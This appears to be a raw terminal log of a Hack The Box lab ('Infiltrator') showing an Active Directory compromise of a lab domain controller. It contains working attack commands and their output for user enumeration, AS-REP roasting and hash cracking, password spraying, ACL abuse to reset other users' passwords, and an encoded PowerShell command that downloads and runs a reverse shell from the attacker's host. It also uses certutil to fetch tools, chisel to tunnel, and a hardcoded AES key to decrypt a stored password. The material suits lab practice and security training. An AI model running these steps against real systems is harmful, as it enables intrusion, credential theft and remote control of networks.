    1   85.41 ms 10.10.16.1
    2   85.45 ms dc01.infiltrator.htb (10.10.11.31)
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 206.88 seconds
    ❯ xsltproc targetedXML > index.html
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    ❯ nxc smb 10.10.11.31
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    
    ❯ ldapsearch -x -H ldap://10.10.11.31 -s base | grep defaultNamingContext
    defaultNamingContext: DC=infiltrator,DC=htb
    ❯ cat /etc/hosts | grep 10.10.11.31
    10.10.11.31 dc01.infiltrator.htb infiltrator.htb
    ❯ sudo ntpdate -s 10.10.11.31
    
    ❯ cat /etc/resolv.con| grep 10.10.11.31
    nameserver 10.10.11.31
    
    ❯ sudo systemctl restart NetworkManager
    ❯ wget https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
    --2025-01-17 18:42:27--  https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
    Resolviendo gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.109.133, ...
    Conectando con gist.githubusercontent.com (gist.githubusercontent.com)[185.199.108.133]:443... conectado.
    Petición HTTP enviada, esperando respuesta... 200 OK
    Longitud: 2086 (2,0K) [text/plain]
    Grabando a: «namemash.py»
    
    namemash.py                                               100%[===================================================================================================================================>]   2,04K  --.-KB/s    en 0s      
    
    2025-01-17 18:42:28 (34,3 MB/s) - «namemash.py» guardado [2086/2086]
    
    ❯ cat employees.txt
    david anderson
    olivia martinez
    kevin turner
    amanda walker
    marcus harris
    lauren clark
    ethan rodriguez
    
    ❯ chmod +x namemash.py
    
    ❯ ./namemash.py employees.txt > possible_users.txt
    ❯ kerbrute userenum --dc 10.10.11.31 -d infiltrator.htb possible_users.txt
    
        __             __               __     
       / /_____  _____/ /_  _______  __/ /____ 
      / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
     / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
    /_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
    
    Version: v1.0.3 (9dad6e1) - 01/17/25 - Ronnie Flathers @ropnop
    
    2025/01/17 18:44:37 >  Using KDC(s):
    2025/01/17 18:44:37 >  	10.10.11.31:88
    
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	d.anderson@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	o.martinez@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	k.turner@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	a.walker@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	m.harris@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	e.rodriguez@infiltrator.htb
    2025/01/17 18:47:44 >  [+] VALID USERNAME:	l.clark@infiltrator.htb
    2025/01/17 18:44:37 >  Done! Tested 78 usernames (7 valid) in 0.872 seconds
    ❯ cat users.txt
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	d.anderson@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	o.martinez@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	k.turner@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	a.walker@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	m.harris@infiltrator.htb
    2025/01/17 18:44:37 >  [+] VALID USERNAME:	e.rodriguez@infiltrator.htb
    2025/01/17 18:47:44 >  [+] VALID USERNAME:	l.clark@infiltrator.htb
    ❯ cat users.txt | awk '{print $NF}' | awk '{print $1}' FS='@'
    d.anderson
    o.martinez
    k.turner
    a.walker
    m.harris
    e.rodriguez
    l.clark
    ❯ cat users.txt | awk '{print $NF}' | awk '{print $1}' FS='@' | sponge users.txt
    ❯ impacket-GetNPUsers -no-pass -usersfile users.txt infiltrator.htb/ 2>/dev/null
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [-] User d.anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User o.martinez doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User k.turner doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User a.walker doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User m.harris doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User e.rodriguez doesn't have UF_DONT_REQUIRE_PREAUTH set
    $krb5asrep$23$l.clark@INFILTRATOR.HTB:76890a639a822a2a5f2aca12844f246d$0bf760af3d8cfce1b276ff32c9da558ca0073da317e52f22b343d7284af86d21abc939d1332f83eb6bd8c327e5bdf96c737468840ab0cfc87bf95201887f8d8c6c1bce285a08bd060ed9fc4d16192970262eb3216ada25bfc293f599e8af46d2ddc83774da32f0487b45e09648de0c23b7dd8643568245b6fbbc72686d036e432571e7862b934b74a7acb895572dc539401235856869f8fdd87066be370d5ef2184cf2f4c85b9783853445778fdce0d07d938c86e0d633516a394eba4858afda625102b5c35134904ac34ab978bfed656ba6a15830a011d4e151b2d32b1d215b0d94beb2180a8cc237581de7967a423fef8e
    ❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
    hashcat (v6.2.6) starting in autodetect mode
    
    OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
    ============================================================================================================================================
    * Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
    
    Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
    The following mode was auto-detected as the only one matching your input hash:
    
    18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
    
    ...[snip]...
    
    $krb5asrep$23$l.clark@INFILTRATOR.HTB:76890a639a822a2a5f2aca12844f246d$0bf760af3d8cfce1b276ff32c9da558ca0073da317e52f22b343d7284af86d21abc939d1332f83eb6bd8c327e5bdf96c737468840ab0cfc87bf95201887f8d8c6c1bce285a08bd060ed9fc4d16192970262eb3216ada25bfc293f599e8af46d2ddc83774da32f0487b45e09648de0c23b7dd8643568245b6fbbc72686d036e432571e7862b934b74a7acb895572dc539401235856869f8fdd87066be370d5ef2184cf2f4c85b9783853445778fdce0d07d938c86e0d633516a394eba4858afda625102b5c35134904ac34ab978bfed656ba6a15830a011d4e151b2d32b1d215b0d94beb2180a8cc237581de7967a423fef8e:WAT?watismypass!
    ❯ nxc smb 10.10.11.31 -u 'l.clark' -p 'WAT?watismypass!'
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass! 
    ❯ ldapdomaindump -u 'infiltrator.htb\l.clark' -p 'WAT?watismypass!' dc01.infiltrator.htb -o ldap
    [*] Connecting to host...
    [*] Binding to host
    [+] Bind OK
    [*] Starting domain dump
    [+] Domain dump finished
    
    ❯ cd ldap
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    ❯ nxc smb 10.10.11.31 -u 'k.turner' -p 'MessengerApp@Pass!'
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\k.turner:MessengerApp@Pass! STATUS_LOGON_FAILURE 
    ❯ nxc smb 10.10.11.31 -u users.txt -p 'WAT?watismypass!' --continue-on-success
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\o.martinez:WAT?watismypass! STATUS_LOGON_FAILURE 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\k.turner:WAT?watismypass! STATUS_LOGON_FAILURE 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\a.walker:WAT?watismypass! STATUS_LOGON_FAILURE 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\m.harris:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\e.rodriguez:WAT?watismypass! STATUS_LOGON_FAILURE 
    SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass!
    ❯ nxc smb 10.10.11.31 -u users.txt -p 'WAT?watismypass!' --continue-on-success -k
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\d.anderson:WAT?watismypass! 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\o.martinez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\k.turner:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\a.walker:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\m.harris:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\e.rodriguez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
    SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass! 
    ❯ kerbrute passwordspray -d infiltrator.htb --dc dc01.infiltrator.htb users.txt 'WAT?watismypass!'
    
        __             __               __     
       / /_____  _____/ /_  _______  __/ /____ 
      / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
     / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
    /_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
    
    Version: v1.0.3 (9dad6e1) - 01/17/25 - Ronnie Flathers @ropnop
    
    2025/01/17 18:55:02 >  Using KDC(s):
    2025/01/17 18:55:02 >  	dc01.infiltrator.htb:88
    
    2025/01/17 18:55:02 >  [+] VALID LOGIN:	l.clark@infiltrator.htb:WAT?watismypass!
    2025/01/17 18:55:02 >  [+] VALID LOGIN:	d.anderson@infiltrator.htb:WAT?watismypass!
    2025/01/17 18:55:02 >  Done! Tested 7 logins (2 successes) in 0.343 seconds
    ❯ nxc smb dc01.infiltrator.htb -u 'd.anderson' -p 'WAT?watismypass!'
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION 
    ❯ nxc smb dc01.infiltrator.htb -u 'd.anderson' -p 'WAT?watismypass!' -k
    SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\d.anderson:WAT?watismypass! 
    ❯ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Saving ticket in d.anderson.ccache
    
    ❯ export KRB5CCNAME=$(pwd)/d.anderson.ccache
    
    ❯ klist -e
    Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/d.anderson.ccache
    Default principal: d.anderson@INFILTRATOR.HTB
    
    Valid starting     Expires            Service principal
    17/01/25 21:17:44  18/01/25 01:17:44  krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
    	renew until 18/01/25 01:17:44, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96
    ❯ bloodhound-python -c All -ns 10.10.11.31 -u 'd.anderson' -p 'WAT?watismypass!' -k --auth-method kerberos -d infiltrator.htb --zip
    INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
    INFO: Found AD domain: infiltrator.htb
    INFO: Using TGT from cache
    INFO: Found TGT with correct principal in ccache file.
    INFO: Connecting to LDAP server: dc01.infiltrator.htb
    INFO: Found 1 domains
    INFO: Found 1 domains in the forest
    INFO: Found 1 computers
    INFO: Connecting to LDAP server: dc01.infiltrator.htb
    INFO: Found 14 users
    INFO: Found 58 groups
    INFO: Found 2 gpos
    INFO: Found 2 ous
    INFO: Found 19 containers
    INFO: Found 0 trusts
    INFO: Starting computer enumeration with 10 workers
    INFO: Querying computer: dc01.infiltrator.htb
    INFO: Done in 00M 15S
    INFO: Compressing output into 20250117191838_bloodhound.zip
    ❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -k set owner 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'd.anderson'
    [+] Old owner S-1-5-21-2606098828-3734741516-3625406802-512 is now replaced by d.anderson on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB
    
    ❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -k add genericAll 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'd.anderson'
    [+] d.anderson has now GenericAll on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB
    ❯ impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'d.anderson' -k -no-pass -dc-ip 10.10.11.31 2>/dev/null
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
    [*] DACL backed up to dacledit-20250117-212533.bak
    [*] DACL modified successfully!
    
    ❯ impacket-dacledit -action 'read' -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb'/'d.anderson' -k -no-pass -dc-ip 10.10.11.31 2>/dev/null
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Parsing DACL
    [*] Printing parsed DACL
    [*] Filtering results for SID (S-1-5-21-2606098828-3734741516-3625406802-1103)
    [*]   ACE[6] info                
    [*]     ACE Type                  : ACCESS_ALLOWED_ACE
    [*]     ACE flags                 : None
    [*]     Access mask               : FullControl (0xf01ff)
    [*]     Trustee (SID)             : D.anderson (S-1-5-21-2606098828-3734741516-3625406802-1103)
    [*]   ACE[7] info                
    [*]     ACE Type                  : ACCESS_ALLOWED_ACE
    [*]     ACE flags                 : CONTAINER_INHERIT_ACE, OBJECT_INHERIT_ACE
    [*]     Access mask               : FullControl (0xf01ff)
    [*]     Trustee (SID)             : D.anderson (S-1-5-21-2606098828-3734741516-3625406802-1103)
    ❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'd.anderson' -k set password 'e.rodriguez' 'Password01!'
    [+] Password changed successfully!
    
    ❯ nxc smb dc01.infiltrator.htb -u 'e.rodriguez' -p 'Password01!' -k
    SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\e.rodriguez:Password01!
    ❯ impacket-getTGT infiltrator.htb/e.rodriguez:'Password01!'
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Saving ticket in e.rodriguez.ccache
    
    ❯ export KRB5CCNAME=$(pwd)/e.rodriguez.ccache
    
    ❯ klist -e
    Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/e.rodriguez.ccache
    Default principal: e.rodriguez@INFILTRATOR.HTB
    
    Valid starting     Expires            Service principal
    17/01/25 21:30:25  18/01/25 07:30:25  krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
    	renew until 18/01/25 21:30:33, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96
    ❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'e.rodriguez' -k add groupMember 'CHIEFS MARKETING' 'e.rodriguez'
    [+] e.rodriguez added to CHIEFS MARKETING
    
    ❯ ldapsearch -x -H ldap://10.10.11.31 -D "CN=E.Rodriguez,OU=Marketing Digital,DC=infiltrator,DC=htb" -w 'Password01!' -b "CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb" member
    #
    # LDAPv3
    # base <CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb> with scope subtree
    # filter: (objectclass=*)
    # requesting: member 
    #
    # Chiefs Marketing, Users, infiltrator.htb
    dn: CN=Chiefs Marketing,CN=Users,DC=infiltrator,DC=htb
    member: CN=E.rodriguez,OU=Marketing Digital,DC=infiltrator,DC=htb
    member: CN=A.walker,CN=Users,DC=infiltrator,DC=htb
    member: CN=O.martinez,CN=Users,DC=infiltrator,DC=htb
    ❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'e.rodriguez' -k set password 'm.harris' 'Password01!'
    [+] Password changed successfully!
    
    ❯ nxc smb dc01.infiltrator.htb -u 'm.harris' -p 'Password01!' -k
    SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\m.harris:Password01! 
    ❯ impacket-getTGT infiltrator.htb/m.harris:'Password01!'
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Saving ticket in m.harris.ccache
    
    ❯ export KRB5CCNAME=$(pwd)/m.harris.ccache
    
    ❯ klist -e
    Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/m.harris.ccache
    Default principal: m.harris@INFILTRATOR.HTB
    
    Valid starting     Expires            Service principal
    17/01/25 21:40:23  18/01/25 01:40:23  krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
    	renew until 18/01/25 01:40:23, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96
    ❯ evil-winrm -i dc01.infiltrator.htb -r infiltrator.htb
                                            
    Evil-WinRM shell v3.7
                                            
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                            
    Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                            
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\M.harris\Documents> type ../Desktop/user.txt
    0e37c6698b4b********************
    ❯ cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 .
    
    ❯ mv Invoke-PowerShellTcp.ps1 rev.ps1
    
    ❯ nvim rev.ps1
    
    ❯ head -n 1 rev.ps1 && tail -n 1 rev.ps1
    function Gzzcoo
    Gzzcoo -Reverse -IPAddress 10.10.16.5 -Port 443
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    ❯ echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.5/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
    SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    *Evil-WinRM* PS C:\> powershell -e <BASE64_CODE>
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    connect to [10.10.16.5] from (UNKNOWN) [10.10.11.31] 62397
    Windows PowerShell running as user M.harris on DC01
    Copyright (C) 2015 Microsoft Corporation. All rights reserved.
    
    PS C:\>whoami
    infiltrator\m.harris
    PS C:\Program Files> ls
    
        Directory: C:\Program Files
    
    
    Mode                LastWriteTime         Length Name                                                                  
    ----                -------------         ------ ----                                                                  
    d-----        12/4/2023   9:22 AM                Common Files                                                          
    d-----        8/21/2024   1:50 PM                Hyper-V                                                               
    d-----        2/19/2024   3:52 AM                internet explorer                                                     
    d-----        2/23/2024   5:06 AM                Output Messenger                                                      
    d-----        1/17/2025   7:02 AM                Output Messenger Server
    ...[snip]...
    ❯ ls -l winPEASx64.exe
    .rw-r--r-- kali kali 9.4 MB Fri Jan 17 22:00:43 2025  winPEASx64.exe
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    PS C:\Windows\System32\spool\drivers\color> certutil.exe -f -urlcache -split http://10.10.16.5/winPEASx64.exe wPE.exe
    ****  Online  ****
      000000  ...
      962e00
    CertUtil: -URLCache command completed successfully.
    PS C:\Windows\System32\spool\drivers\color> 
    PS C:\Windows\System32\spool\drivers\color> ./wPE.exe > result.txt
    PS C:\Windows\System32\spool\drivers\color> ls
    
        Directory: C:\Windows\System32\spool\drivers\color
    
    
    Mode                LastWriteTime         Length Name                                                                  
    ----                -------------         ------ ----                                                                  
    ...[snip]...                                                        
    -a----        1/17/2025   1:05 PM         271602 result.txt                                                                                                   
    -a----        1/17/2025   1:03 PM        9842176 wPE.exe 
    ❯ smbserver.py smbFolder $(pwd) -smb2support
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Config file parsed
    [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
    [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
    [*] Config file parsed
    [*] Config file parsed
    PS C:\Windows\System32\spool\drivers\color> copy result.txt \\10.10.16.5\smbFolder\result.txt
    ❯ ls -l chisel*
    .rwxr-xr-x root root 8.9 MB Fri Jan 17 22:34:37 2025  chisel
    .rw-r--r-- root root 9.3 MB Fri Jan 17 22:34:34 2025  chisel.exe
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    PS C:\Windows\System32\spool\drivers\color> certutil.exe -f -urlcache -split http://10.10.16.5/chisel.exe chisel.exe
    ****  Online  ****
      000000  ...
      94f000
    
    
    CertUtil: -URLCache command completed successfully.
    ❯ ./chisel server --reverse -p 1234
    2025/01/17 22:40:37 server: Reverse tunnelling enabled
    2025/01/17 22:40:37 server: Fingerprint I6Ynm0ZTnuYDUNAGFMMgzfXZBpDcrTUbgapoYk6CTMc=
    2025/01/17 22:40:37 server: Listening on http://0.0.0.0:1234
    PS C:\Windows\System32\spool\drivers\color> .\chisel.exe client 10.10.16.5:1234 R:14118:127.0.0.1:14118 R:14119:127.0.0.1:14119 R:14121:127.0.0.1:14121 R:14122:127.0.0.1:14122 R:14123:127.0.0.1:14123 R:14125:127.0.0.1:14125 R:14126:127.0.0.1:14126 R:14127:127.0.0.1:14127 R:14128:127.0.0.1:14128 R:14130:127.0.0.1:14130 R:14406:127.0.0.1:14406
    ❯ netstat -ano | grep "LISTEN"
    tcp6       0      0 :::1234                 :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14121                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14122                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14123                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14125                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14126                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14127                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14118                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14119                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14128                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14130                :::*                    LISTEN      off (0.00/0/0)
    tcp6       0      0 :::14406                :::*                    LISTEN      off (0.00/0/0)
    ❯ echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
    1
    ❯ catnp /proc/sys/net/ipv4/ip_forward
    1
    ❯ sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
    ❯ sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
    ❯ ifconfig eth0
    eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.249.128  netmask 255.255.255.0  broadcast 192.168.249.255
            inet6 fe80::17ec:5b0f:745a:a939  prefixlen 64  scopeid 0x20<link>
            ether 00:0c:29:8f:cb:51  txqueuelen 1000  (Ethernet)
            RX packets 398298  bytes 93414302 (89.0 MiB)
            RX errors 0  dropped 0  overruns 0  frame 0
            TX packets 354211  bytes 137266652 (130.9 MiB)
            TX errors 0  dropped 116 overruns 0  carrier 0  collisions 0
    
    ❯ sudo iptables -t nat -A POSTROUTING -s 192.168.249.0/24 -o tun0 -j MASQUERADE
    PS C:\Windows\system32> ping -n 1 10.10.11.31
    
    Pinging 10.10.11.31 with 32 bytes of data:
    Request timed out.
    
    Ping statistics for 10.10.11.31:
        Packets: Sent = 1, Received = 0, Lost = 1 (100% loss),
    PS C:\Windows\system32>
    PS C:\Windows\system32> route add 10.10.10.0/23 mask 255.255.254.0 192.168.249.128
     OK!
    PS C:\Windows\system32> ping -n 1 10.10.11.31
    
    Pinging 10.10.11.31 with 32 bytes of data:
    Reply from 10.10.11.31: bytes=32 time=32ms TTL=126
    
    Ping statistics for 10.10.11.31:
        Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 32ms, Maximum = 32ms, Average = 32ms
    PS C:\Windows\system32>
    PS C:\Windows\system32> route add 10.10.16.0/16 mask 255.255.0.0 192.168.249.128
     OK!
    PS C:\Windows\system32> ping -n 1 10.10.16.5
    
    Pinging 10.10.16.5 with 32 bytes of data:
    Reply from 10.10.16.5: bytes=32 time=3ms TTL=64
    
    Ping statistics for 10.10.16.5:
        Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 3ms, Maximum = 3ms, Average = 3ms
    PS C:\Windows\system32>
    ❯ nxc smb dc01.infiltrator.htb -u users.txt -p 'D3v3l0p3r_Pass@1337!' -k --continue-on-success
    SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\d.anderson:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
    SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\o.martinez:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
    SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\k.turner:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
    SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\a.walker:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
    SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\m.harris:D3v3l0p3r_Pass@1337! 
    SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\e.rodriguez:D3v3l0p3r_Pass@1337! KDC_ERR_PREAUTH_FAILED 
    SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\l.clark account vulnerable to asreproast attack
    decrypt.py
    from Crypto.Cipher import AES
    import base64
    
    def decrypt_string(key, cipher_text):
        key_bytes = key.encode('utf-8')
        cipher_bytes = base64.b64decode(cipher_text)
    
        cipher = AES.new(key_bytes, AES.MODE_CBC, b'\x00' * 16)
        decrypted_bytes = cipher.decrypt(cipher_bytes)
    
        # Elimina el relleno PKCS7 (donde el último byte indica la cantidad de relleno)
        padding_length = decrypted_bytes[-1]
        decrypted_bytes = decrypted_bytes[:-padding_length]
    
        decrypted_text = decrypted_bytes.decode('utf-8')
        return decrypted_text
    
    if __name__ == "__main__":
        import sys
        if len(sys.argv) != 2:
            print("Usage: python decrypt_script.py <cipher_text>")
            sys.exit(1)
        
        cipher_text = sys.argv[1]
        
        key = "b14ca5898a4e4133bbce2ea2315a1916"  # Clave para AES
        decrypted_text = decrypt_string(key, cipher_text)
        print(f"Contraseña descifrada: {decrypted_text}")
    ❯ python decrypt.py TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=
    Contraseña descifrada: SKqwQk81tgq+C3V7pzc1SA==
    ❯ echo 'SKqwQk81tgq+C3V7pzc1SA==' | base64 -d; echo
    H��BO5�
    �
     u{�75H
    ❯ python decrypt.py SKqwQk81tgq+C3V7pzc1SA==
    Contraseña descifrada: WinRm@$svc^!^P
